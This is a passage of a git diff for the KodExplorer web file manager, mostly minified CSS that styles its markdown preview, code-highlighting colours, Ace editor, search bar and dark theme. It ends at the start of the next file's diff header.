auto;width:220px;height:120p;margin-top:17%;border:1px solid #ddd;border-top:3px solid #666;padding:40px;border-radius:5px;background:#f6f6f6;}.share_page_passowrd b{font-size:20px;display:block;margin-bottom:20px;}.share_page_passowrd input{height:32px;display:inline-block;width:150px;padding:0px 5px;margin-right:10px;margin-bottom:10px;}.share_page_error{margin:0 auto;width:400px;margin-top:17%;border:1px solid #eee;padding:30px;border-radius:5px;background:#f6f6f6;font-size:1.25em;}.share_page_error b{font-size:25px;display:block;margin-bottom:20px;}.edit_content.markdown_full_page pre.ace_editor{width:100% !important;}.edit_content.markdown_full_page .resize{display:none;}.edit_content.markdown_full_page .edit_right_frame{top:-60px;left:-1px;right:0;width:100% !important;bottom:0;}.edit_content.markdown_full_page .edit_right_frame .right_main{width:100% !important;}.edit_content.markdown_full_page .edit_right_frame .display_markdown{width:100% !important;background:none;}.edit_content.markdown_full_page .edit_right_frame .markdown_preview{width:80%;padding:50px 0;}.edit_content.markdown_full_page .edit_right_frame i.icon-resize-full:before{content:"\f066";}.edit_content.markdown_full_page .edit_right_frame .preview_markdown_tool .toolbar{width:80%;left:10%;border:none;border-bottom:1px solid #ddd;background:rgba(240,240,240,0.5);}.edit_content.markdown_full_page .edit_right_frame .preview_markdown_tool .toolbar{display:none;}.markdown_preview{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;text-align:justify;margin:auto;font-size:13px;line-height:1.6em;color:#555;}.markdown_preview article,.markdown_preview footer,.markdown_preview header,.markdown_preview nav{width:700px;margin:0 auto;}.markdown_preview article{margin-top:4em;margin-bottom:4em;min-height:400px;}.markdown_preview footer{margin-bottom:50px;}.markdown_preview video{margin:2em 0;border:1px solid #ddd;}.markdown_preview nav{font-size:.9em;font-style:italic;border-bottom:1px solid #ddd;padding:1em 0;}.markdown_preview nav p{margin:0;}.markdown_preview details{margin:15px 0;}.markdown_preview summary{cursor:pointer;padding:4px;}.markdown_preview summary:focus{outline:none;box-shadow:0 0 3px #2196F3;}.markdown_preview .h1,.markdown_preview h1{font-size:2.2em;}.markdown_preview .h2,.markdown_preview h2{font-size:1.9em;}.markdown_preview .h3,.markdown_preview h3{font-size:1.6em;}.markdown_preview .h4,.markdown_preview h4{font-size:1.3em;}.markdown_preview .h5,.markdown_preview h5{font-size:1.2em;}.markdown_preview .h6,.markdown_preview h6{font-size:1.1em;}.markdown_preview .h1,.markdown_preview .h2,.markdown_preview .h3,.markdown_preview .h4,.markdown_preview .h5,.markdown_preview .h6,.markdown_preview h1,.markdown_preview h2,.markdown_preview h3,.markdown_preview h4,.markdown_preview h5,.markdown_preview h6{font-family:inherit;font-weight:500;color:#333;line-height:1.5em;padding:0;margin:1em 0 0.5em 0;}.markdown_preview .h1,.markdown_preview h1{letter-spacing:1px;}.markdown_preview .h2,.markdown_preview h2{border-bottom:1px solid #ddd;padding-bottom:0.15em;}.markdown_preview p{-webkit-hypens:auto;-moz-hypens:auto;hyphens:auto;margin:10px 0;word-wrap:break-word;}.markdown_preview blockquote{margin-left:1em;padding:10px 20px;margin:10px 0 20px 0;border-left:10px solid #ddd;background:#f6f6f6;}.markdown_preview code{padding:2px 4px;color:#c7254e;background-color:#f9f2f4;border-radius:4px;}.markdown_preview pre{display:block;padding:0;overflow:auto;margin:0 0 10px;font-size:1em;line-height:1.42857143;word-break:break-all;word-wrap:break-word;color:#333;background:none;border-radius:4px;}.markdown_preview code,.markdown_preview kbd,.markdown_preview pre,.markdown_preview samp{font-family:Consolas, 'Liberation Mono', 'Ubuntu Mono', Menlo, Courier, sans-serif;}.markdown_preview pre code{background:#f8f8f8;color:#777;white-space:pre-wrap;padding:6px 1em;border:1px solid #eee;display:block;}.markdown_preview a{color:#1980e6;text-decoration:none;}.markdown_preview a:hover{text-decoration:underline;}.markdown_preview a img{border:none;}.markdown_preview img{max-width:100%;}.markdown_preview h1 a,.markdown_preview h1 a:hover{text-decoration:none;}.markdown_preview hr{border:0 none;height:4px;margin:1.2em 0;background:rgba(0,0,0,0) url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAECAYAAACtBE5DAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OENDRjNBN0E2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OENDRjNBN0I2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4Q0NGM0E3ODY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4Q0NGM0E3OTY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqqezsUAAAAfSURBVHjaYmRABcYwBiM2QSA4y4hNEKYDQxAEAAIMAHNGAzhkPOlYAAAAAElFTkSuQmCC) repeat-x 0 0;}@media screen and (min-width:900px){.markdown_preview body{ width:900px;}}.markdown_preview ul,.markdown_preview ol{padding:0.5em 0 0.5em 3em;}.markdown_preview table{border-collapse:collapse;border-spacing:0;margin-bottom:20px;}.markdown_preview table thead{background:#eee;}.markdown_preview table td,.markdown_preview table th{padding:.5em;border:1px solid #ddd;line-height:1.5;}.markdown_preview .markdown-latex{text-align:center;margin-bottom:1.5em;font-size:1.6em;color:#000;}.markdown_preview .latex-inline .katex-display{display:inline-block;font-size:0.8em;}.markdown_preview .markdown_menu ul{padding:0 10px 20px 20px;}.markdown_preview .markdown_menu li{font-size:14px;list-style:none;line-height:1.8em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.markdown_preview .markdown_menu_h2{padding-left:2em;}.markdown_preview .markdown_menu_h3{padding-left:4em;}.markdown_preview .markdown_menu_h4{padding-left:6em;}.markdown_preview .markdown_menu_h5{padding-left:8em;}.markdown_preview .markdown_menu_h6{padding-left:10em;}.markdown_preview div .hljs{color:#666;}.markdown_preview .hljs-comment,.markdown_preview .hljs-quote{color:#8e908c;}.markdown_preview .hljs-variable,.markdown_preview .hljs-template-variable,.markdown_preview .hljs-tag,.markdown_preview .hljs-name,.markdown_preview .hljs-selector-id,.markdown_preview .hljs-selector-class,.markdown_preview .hljs-regexp,.markdown_preview .hljs-deletion{color:#c82829;}.markdown_preview .hljs-number,.markdown_preview .hljs-built_in,.markdown_preview .hljs-builtin-name,.markdown_preview .hljs-literal,.markdown_preview .hljs-type,.markdown_preview .hljs-params,.markdown_preview .hljs-meta,.markdown_preview .hljs-link{color:#f5871f;}.markdown_preview .hljs-attribute{color:#eab700;}.markdown_preview .hljs-string,.markdown_preview .hljs-symbol,.markdown_preview .hljs-bullet,.markdown_preview .hljs-addition{color:#718c00;}.markdown_preview .hljs-title,.markdown_preview .hljs-section{color:#4271ae;}.markdown_preview .hljs-keyword,.markdown_preview .hljs-selector-tag{color:#8959a8;}.markdown_preview .hljs{display:block;overflow-x:auto;color:#4d4d4c;padding:0.5em;}.markdown_preview .hljs-emphasis{font-style:italic;}.markdown_preview .hljs-strong{font-weight:bold;}.code_theme_black .markdown_preview{background:#333;color:#bbb;}.code_theme_black .markdown_preview blockquote{border-color:#555;background:#444;}.code_theme_black .markdown_preview pre,.code_theme_black .markdown_preview code,.code_theme_black .markdown_preview pre code{color:#777;border-color:#444;background:#444;}.code_theme_black .markdown_preview code{color:#C5AC18;background:#555;background:rgba(255,255,255,0.15);}.code_theme_black .markdown_preview a{color:#FFA500;}.code_theme_black .markdown_preview hr{border-bottom:1px solid #444;background-image:none;}.code_theme_black .markdown_preview .h1,.code_theme_black .markdown_preview .h2,.code_theme_black .markdown_preview .h3,.code_theme_black .markdown_preview .h4,.code_theme_black .markdown_preview .h5,.code_theme_black .markdown_preview .h6,.code_theme_black .markdown_preview h1,.code_theme_black .markdown_preview h2,.code_theme_black .markdown_preview h3,.code_theme_black .markdown_preview h4,.code_theme_black .markdown_preview h5,.code_theme_black .markdown_preview h6{color:#fff;}.code_theme_black .markdown_preview table thead{background:#3e3e3e;}.code_theme_black .markdown_preview table td,.code_theme_black .markdown_preview table th{border-color:#444;}.code_theme_black .markdown_preview .markdown-latex{color:#fff;}.code_theme_black .markdown_preview div .hljs{display:block;overflow-x:auto;padding:.5em;background:#23241f;}.code_theme_black .markdown_preview .hljs,.code_theme_black .markdown_preview .hljs-subst,.code_theme_black .markdown_preview .hljs-tag{color:#f8f8f2;}.code_theme_black .markdown_preview .hljs-emphasis,.code_theme_black .markdown_preview .hljs-strong{color:#a8a8a2;}.code_theme_black .markdown_preview .hljs-bullet,.code_theme_black .markdown_preview .hljs-link,.code_theme_black .markdown_preview .hljs-literal,.code_theme_black .markdown_preview .hljs-number,.code_theme_black .markdown_preview .hljs-quote,.code_theme_black .markdown_preview .hljs-regexp{color:#ae81ff;}.code_theme_black .markdown_preview .hljs-code,.code_theme_black .markdown_preview .hljs-section,.code_theme_black .markdown_preview .hljs-selector-class,.code_theme_black .markdown_preview .hljs-title{color:#a6e22e;}.code_theme_black .markdown_preview .hljs-strong{font-weight:700;}.code_theme_black .markdown_preview .hljs-emphasis{font-style:italic;}.code_theme_black .markdown_preview .hljs-attr,.code_theme_black .markdown_preview .hljs-keyword,.code_theme_black .markdown_preview .hljs-name,.code_theme_black .markdown_preview .hljs-selector-tag{color:#f92672;}.code_theme_black .markdown_preview .hljs-attribute,.code_theme_black .markdown_preview .hljs-symbol{color:#66d9ef;}.code_theme_black .markdown_preview .hljs-class .hljs-title,.code_theme_black .markdown_preview .hljs-params{color:#f8f8f2;}.code_theme_black .markdown_preview .hljs-addition,.code_theme_black .markdown_preview .hljs-built_in,.code_theme_black .markdown_preview .hljs-builtin-name,.code_theme_black .markdown_preview .hljs-selector-attr,.code_theme_black .markdown_preview .hljs-selector-id,.code_theme_black .markdown_preview .hljs-selector-pseudo,.code_theme_black .markdown_preview .hljs-string,.code_theme_black .markdown_preview .hljs-template-variable,.code_theme_black .markdown_preview .hljs-type,.code_theme_black .markdown_preview .hljs-variable{color:#e6db74;}.code_theme_black .markdown_preview .hljs-comment,.code_theme_black .markdown_preview .hljs-deletion,.code_theme_black .markdown_preview .hljs-meta{color:#75715e;}.ace_optionsMenuEntry{height:22px;}.ace_optionsMenuCommand{float:left;width:210px;}.context-menu-list .context-menu-item.line_top{border-top:1px solid #eee !important;}body .ace_editor{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;margin:0;padding:0;position:absolute;height:100%;left:0px;right:0%;background:#fff;}body .ace_editor .ace_scrollbar{right:3px;}body .ace_editor .ace_hidden-cursors .ace_cursor{opacity:0.7;}body .ace_editor.ace-tomorrow .ace_cursor{color:#3c3434;}body .ace_editor.ace_multiselect .ace_cursor{border-left-width:2px;}body .ace_editor .ace_indent-guide{height:103%;display:inline-block;}body .ace_editor .ace_line{line-height:1.3em;line-height:inherit \9;}body .ace_editor span.ace_heading{font-weight:800;}body .ace_editor.ace_autocomplete{padding:0px;box-shadow:0px 2px 10px rgba(0,0,0,0.3);margin-left:5px;box-shadow:0 0 7px rgba(119,119,119,0.2), inset 1px 1px 0 rgba(0,0,0,0), inset -1px -1px 0 rgba(0,0,0,0);font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;background:#fff !important;}body .ace_editor.ace_autocomplete .ace_scrollbar-v{padding:0px;right:0px;}body .ace_editor.ace_autocomplete .ace_line{padding-left:6px;line-height:1.5em;}body .ace_editor.ace_autocomplete .ace_marker-layer .ace_active-line{background:#63acff !important;border-radius:0px;z-index:10;}body .ace_editor.ace_autocomplete .ace_line-hover{border:none;margin-top:0;background:#e6e6e6;border-radius:0px;}body .ace_editor.ace_autocomplete .ace_selected{color:#fff;}body .ace_editor.ace_autocomplete .ace_completion-highlight{color:#2882be;}body .ace_editor.ace_autocomplete .ace_rightAlignedText{color:#aaa;}body .ace_editor.ace_autocomplete .ace_selected .ace_completion-highlight{color:#cfe8ff !important;}body .ace_editor.ace_autocomplete .ace_selected .ace_rightAlignedText{color:#fff;z-index:10;opacity:0.5;filter:alpha(opacity=50);font-size:0.9em;}body .ace_editor .ace_content .ace_marker-layer .ace_selected-word{background:rgba(210,235,255,0.11);border:1px solid #65b5f5;z-index:10;}body .ace_editor .ace_content .ace_marker-layer .ace_bracket{border:1px solid #FF9800;background:#FFC107;}body .ace_editor .ace_content .ace_text-layer .ace_keyword{text-shadow:0 0 0.2px;}body .ace_editor.ace-github{color:#444;}body .ace_editor.ace-kuroir{background:#f9f9f9;}body .ace_editor.ace-solarized-light{background:#FDF6E3;}body .ace_editor.ace-ambiance{background:#202020;}body .ace_editor.ace-monokai{background:#272822;}body .ace_editor.ace-idle-fing{background:#333;}body .ace_editor.ace-pastel-on-dark{background:#2C2828;}body .ace_editor.ace-solarized-dark{background:#002B36;}body .ace_editor.ace-twilight{background:#141414;}body .ace_editor.ace-idle-fingers{background:#333;}body .ace_editor.ace-tomorrow-night-blue{background:#002451;}body .ace_editor.ace-tomorrow-night-eighties{background:#2d2d2d;}body .ace_editor.ace-eclipse .ace_gutter{border-right:3px solid #6ce26c !important;}body .ace_editor.ace_dark .ace_content .ace_marker-layer .ace_selected-word{background:rgba(255,255,255,0.1);border:1px solid #4179A7;z-index:10;}body .ace_editor.ace_dark .ace_content .ace_marker-layer .ace_bracket{border:1px solid #FFEB3B;background:#6b6154;}div.ace_tooltip{font-size:1em;font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;border:1px solid #e7de81;background-color:#f9f2ad;padding-bottom:6px;color:#333;background-image:none;filter:none;box-shadow:0 0 7px rgba(119,119,119,0.2), inset 1px 1px transparent, inset -1px -1px transparent;}div.ace_tooltip hr{border:none;border-bottom:1px solid #e7de81;margin:6px 0;}.search_content .ace_search{font-size:13px;border-radius:0px 0px 0px 5px;border-right:0 none;overflow:visible;position:fixed;right:0;background-color:#eee;color:#444;width:100%;max-width:inherit;padding-top:5px;border-top:1px solid #ccc;bottom:0px;}.search_content .ace_search .ace_search_options{text-align:right;position:absolute;top:4px;margin:3px 0 0 20px;}.search_content .ace_search .ace_searchbtn_close{background-position:50% -10%;position:absolute;right:10px;width:18px;height:18px;}.search_content .ace_search .ace_searchbtn_close:hover{background-position:50% 120%;}.search_content .ace_search .ace_search_form,.search_content .ace_search .ace_replace_form{float:inherit;border:none;height:25px;}.search_content .ace_search .ace_search_form .search_info{position:absolute;right:25px;height:25px;line-height:25px;opacity:0.6;filter:alpha(opacity=60);}.search_content .ace_search .ace_search_form .search_at_index,.search_content .ace_search .ace_search_form .search_total_num{padding-left:0.3em;padding-right:0.3em;}.search_content .ace_search .ace_button{margin-left:3px;width:30px;text-align:center;display:inline-block;border-radius:3px;}.search_content .ace_search .ace_button.checked{border-color:#39F;background:#39f;color:#fff;}.search_content .ace_search .ace_search_field{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;background-color:#FFF;border-radius:3px;border:1px solid #ccc;margin:0px;width:100%;height:24px;line-height:23px;}.search_content .ace_search .ace_search_field:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.search_content .ace_search .ace_search_field:focus{box-shadow:0 0 1px #75a1f0;}.search_content .ace_search .ace_search_action{position:absolute;right:50px;}.search_content .ace_search .ace_search_input{position:absolute;left:130px;right:160px;}.search_content .ace_search .ace_replace_form .ace_search_action{right:70px;}.search_content .ace_search .ace_search_form.ace_nomatch{outline:none;}.search_content .ace_search .ace_search_form.ace_nomatch .search_info{color:#f00;font-weight:800;}.search_content .ace_search .search_info.search-first{color:#03a9f4;font-weight:800;}.search_content .ace_search .history-list{position:absolute;right:8px;}.search_content .ace_search .history-list .dropdown-menu:before{right:4px;}.search_content .ace_search .history-list .dropdown-menu:after{right:5px;}.search_content .ace_search .history-list .dropdown-menu li > a{padding:3px 20px;font-size:13px;}.search_content .ace_search .history-list .dropmenu{width:20px;height:20px;background:rgba(50,50,50,0.05);cursor:pointer;font-size:15px;margin-top:2px;color:#ccc;display:inline-block;line-height:20px;text-align:center;border-radius:2px;}.search_content .ace_search .history-list .dropmenu:hover{background:rgba(50,50,50,0.2);color:#aaa;}.search_content .ace_search .history-list.open .dropmenu{background:rgba(50,50,50,0.2);color:#aaa;}.search_content .ace_search .btn_background{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.search_content .ace_search .btn_background_hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search_content .ace_search .ace_searchbtn,.search_content .ace_search .ace_replacebtn{float:left;padding:0 8px;border:1px solid #dcdcdc;margin-left:-1px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.search_content .ace_search .ace_searchbtn:hover,.search_content .ace_search .ace_replacebtn:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search_content .ace_search .ace_searchbtn:active,.search_content .ace_search .ace_replacebtn:active{outline:none;background:#ddd;}.search_content .ace_search .ace_searchbtn.next,.search_content .ace_search .ace_replacebtn.next{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;padding:0 4px;}.search_content .ace_search .ace_searchbtn.next:hover,.search_content .ace_search .ace_replacebtn.next:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search_content .ace_search .ace_searchbtn.prev,.search_content .ace_search .ace_replacebtn.prev{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;padding:0 4px;}.search_content .ace_search .ace_searchbtn.prev:hover,.search_content .ace_search .ace_replacebtn.prev:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.code_theme_black{background:#333;}.code_theme_black pre{background:#333;}.code_theme_black div.tools{box-shadow:1px 2px 15px #3d3d3d;border-bottom:1px solid #474747;background:#3d3d3d;}.code_theme_black div.tools .right .btn{border:solid 1px #474747;background:#3d3d3d;color:#eef;}.code_theme_black div.tools .right .btn:hover{background:#474747;}.code_theme_black div.tools .line{border-color:#595959;}.code_theme_black div.tools a.select,.code_theme_black div.tools a.select:hover,.code_theme_black div.tools a:active,.code_theme_black div.tools a:hover{background:#595959;}.code_theme_black div.tools a .font-icon{color:#eef;text-shadow:none;}.code_theme_black div.tools .disable_mask{background:#000;}.code_theme_black .context-menu-list{border:none;background:#595959;border-bottom:none;box-shadow:0 10px 10px rgba(0,0,0,0.15);}.code_theme_black .context-menu-list .context-menu-item{color:#eef;border-color:rgba(255,255,255,0) !important;}.code_theme_black .context-menu-list .context-menu-item .font-icon{color:#eef;}.code_theme_black .context-menu-list .context-menu-item.context-menu-separator{border-bottom:1px solid #666666 !important;background:none;}.code_theme_black .context-menu-list .context-menu-item.hover,.code_theme_black .context-menu-list .context-menu-item.selected.hover{background:#666666;color:#eef;border-color:transparent !important;}.code_theme_black .context-menu-list .context-menu-item.hover .font-icon,.code_theme_black .context-menu-list .context-menu-item.selected.hover .font-icon{color:#eef;}.code_theme_black .context-menu-list .context-menu-item.line_top{border-top:1px solid #666666 !important;}.code_theme_black .dropdown-menu{background:#595959;}.code_theme_black .dropdown-menu:before{right:4px;}.code_theme_black .dropdown-menu:after{border-top-color:#595959;}.code_theme_black .dropdown-menu li > a{color:#eef;}.code_theme_black .edit_tab .tabs{background:#333;border-bottom:1px solid #474747;}.code_theme_black .edit_tab .tabs .tab{background:#474747;border-right:1px solid #595959;color:#eef;}.code_theme_black .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#666666;}.code_theme_black .edit_tab .tabs .tab.hover{background:#474747;}.code_theme_black .edit_tab .tabs .add{background:#595959;border:1px solid #3d3d3d;color:#eef;}.code_theme_black .edit_tab .tabs .add:hover{background:#666666;}.code_theme_black .edit_tab .tabs .tab.this{background:#666666;border-right:1px solid #666666;border-left:3px solid #63acff;margin-left:-3px;}.code_theme_black .draggable-dragging{background:#595959;border-left:3px solid #63acff;}.code_theme_black .edit_content .resize{background-color:#ddd;background-color:rgba(255,255,255,0.01);}.code_theme_black .edit_content .resize:hover{background-color:#ddd;background-color:rgba(255,255,255,0.1);}.code_theme_black .edit_content .resize.resize_active{background-color:#ddd;background-color:rgba(255,255,255,0.3);}.code_theme_black .edit_right_frame{background:#333;border-left:1px solid #3d3d3d;}.code_theme_black .edit_right_frame .function_list_parent{background:#333;}.code_theme_black .edit_right_frame .function_list_box .list_row{color:#eef;}.code_theme_black .edit_right_frame .function_list_box .list_row.row_hover{background:#3d3d3d;}.code_theme_black .edit_right_frame .function_list_box .list_row.row_select{background:#63acff;}.code_theme_black .edit_right_frame .function_list_box .list_row.mark,.code_theme_black .edit_right_frame .function_list_box .list_row.class{background:#595959;}.code_theme_black .edit_right_frame .preview_url_tool,.code_theme_black .edit_right_frame .function_list_tool{border-bottom:1px solid #3d3d3d;}.code_theme_black .edit_right_frame .preview_url_tool .box,.code_theme_black .edit_right_frame .function_list_tool .box{background:#333;color:#eef;border:none;}.code_theme_black .edit_right_frame .preview_url_tool .box a,.code_theme_black .edit_right_frame .function_list_tool .box a{padding:0px 6px;}.code_theme_black .edit_right_frame .preview_url_tool .box a:hover,.code_theme_black .edit_right_frame .function_list_tool .box a:hover{border:1px solid #666666;}.code_theme_black .edit_right_frame .preview_url_tool .input_content input,.code_theme_black .edit_right_frame .function_list_tool .input_content input{color:#eee;font-size:1.15em;text-shadow:none;background:#444;box-shadow:none;border:none;}.code_theme_black .edit_right_frame .preview_url_tool .input_content input:focus,.code_theme_black .edit_right_frame .function_list_tool .input_content input:focus{box-shadow:none;}.code_theme_black .edit_right_frame .function_search input{color:#eef;border:1px solid #595959;background:#474747;}.code_theme_black .edit_right_frame .preview_markdown_tool .box a .font-icon{color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .box a:hover{background:#666666;color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .box a:hover .font-icon{color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar{border-left:1px solid #595959;background:#3d3d3d;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar .md-tools{color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar .md-tools:hover{background:#666666;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar .md-tools.md-tools-split{color:#3d3d3d;}.code_theme_black .edit_right_frame .markdown_help{background:#474747;color:#eef;border-color:#595959;}.code_theme_black .edit_right_frame .markdown_help h3{border-color:#666666;}.code_theme_black .edit_right_frame .markdown_help h5{border-color:#666666;}.code_theme_black .edit_right_frame .markdown_help pre{background:#666666;color:#eef;}.code_theme_black .edit_right_frame .markdown_menu_box{background:#474747;color:#eef;border-color:#595959;}.code_theme_black .edit_right_frame .markdown_menu_box h3{border-color:#666666;}.code_theme_black .edit_right_frame .markdown_menu_box .markdown_menu li a{color:#ffa500;}.code_theme_black .edit_right_frame .markdown_menu_box .markdown_menu li a:hover{background:#666666;}.code_theme_black .edit_right_frame .markdown_setting{background:#474747;color:#eef;border-color:#595959;}.code_theme_black .edit_right_frame .markdown_setting ul li.line{height:1px;background:#595959;}.code_theme_black .edit_right_frame .markdown_setting ul a,.code_theme_black .edit_right_frame .markdown_setting ul a:visited{color:#eef;}.code_theme_black .edit_right_frame .markdown_setting ul a i{color:#eef;}.code_theme_black .edit_right_frame .markdown_setting ul a:hover{background:#666666;color:#eef;}.code_theme_black .edit_right_frame .markdown_setting ul a:hover i{color:#eef;}.code_theme_black .edit_body{background:#333;}.code_theme_black .edit_body .bottom_toolbar{border-radius:4px;background:#474747;border:1px solid #595959;}.code_theme_black .edit_body .bottom_toolbar a{color:#fff;}.code_theme_black .edit_body .bottom_toolbar a .font-icon{color:#eef;}.code_theme_black .edit_body .bottom_toolbar a:hover{color:#63acff;}.code_theme_black .edit_body .bottom_toolbar a.select{background:#666666;color:#fff;}.code_theme_black .edit_body .aui_icon,.code_theme_black .edit_body .aui_main{background:#333;}.code_theme_black .edit_body .aui_state_noTitle .aui_inner{border:1px solid #666666;}.code_theme_black .ace_text-input{background:#333;}.code_theme_black .ace_search{background-color:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_button{border:1px solid #595959;color:#fff;}.code_theme_black .ace_search .ace_button:hover{background-color:#595959;}.code_theme_black .ace_search .ace_button.checked{border-color:#39F;background:#39f;color:#fff;}.code_theme_black .ace_search .ace_search_field{background-color:#595959;border:1px solid #595959;color:#eef;}.code_theme_black .ace_search .ace_search_form.ace_nomatch .search_info{color:#f66;}.code_theme_black .ace_search .btn_background{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .btn_background_hover{background:#595959;border-color:#666666;}.code_theme_black .ace_search .ace_searchbtn,.code_theme_black .ace_search .ace_replacebtn{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_searchbtn:hover,.code_theme_black .ace_search .ace_replacebtn:hover{background:#595959;border-color:#666666;}.code_theme_black .ace_search .ace_searchbtn.next,.code_theme_black .ace_search .ace_replacebtn.next{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_searchbtn.next:hover,.code_theme_black .ace_search .ace_replacebtn.next:hover{background:#595959;border-color:#666666;}.code_theme_black .ace_search .ace_searchbtn.prev,.code_theme_black .ace_search .ace_replacebtn.prev{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_searchbtn.prev:hover,.code_theme_black .ace_search .ace_replacebtn.prev:hover{background:#595959;border-color:#666666;}.code_theme_black .introduction{background:#3d3d3d;top:59px;}.code_theme_black .introduction pre{background:#3d3d3d;border-bottom:1px solid #474747;}.code_theme_black .introduction .tips h1{border-bottom:1px dashed #3d3d3d;}.code_theme_black .introduction .green{border-left:1px solid #3d3d3d;}.code_theme_black .context-menu-list .gotoline_input input{color:#eef;background:#666666;broder-color:#474747;}.code_theme_black .code_mode_list{background:#474747;color:#eef;}.code_theme_black .code_mode_list li.list_input{background:#474747;}.code_theme_black .code_mode_list li.list_input input{color:#eef;background:#666666;broder-color:#474747;}.code_theme_black .code_mode_list li.selected,.code_theme_black .code_mode_list li.selected.hover,.code_theme_black .code_mode_list li.hover{background:#666666;color:#fff;}.forceWap .edit_right_frame{width:0 !important;display:none;}.forceWap .resize{display:none;}.forceWap .ace_editor{width:100% !important;}.forceWap .edit_tab{display:none;}.forceWap .edit_body{top:29px;}.forceWap .ace_scroller{left:30px !important;}.forceWap .ace_gutter,.forceWap .ace_gutter-layer{width:30px !important;}.forceWap .ace_folding-enabled > .ace_gutter-cell{padding:0px 3px !important;}.forceWap .ace_editor_content{font-size:12px !important;}.forceWap .top_toolbar a[action="saveall"],.forceWap .top_toolbar a[action="refresh"],.forceWap .top_toolbar .menuViewGotoline{display:none;}@media screen and (max-width:600px){.topbar .content .top_right{ display:none;}} +/* ver 3.36(2016-12-30) [build 1483112852.0201] */ \ No newline at end of file diff --git a/static/style/skin/base/app_desktop.css b/static/style/skin/base/app_desktop.css index 2a07a96..45e8028 100755 --- a/static/style/skin/base/app_desktop.css +++ b/static/style/skin/base/app_desktop.css @@ -1,4 +1,4 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476939.2812] */ -::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px 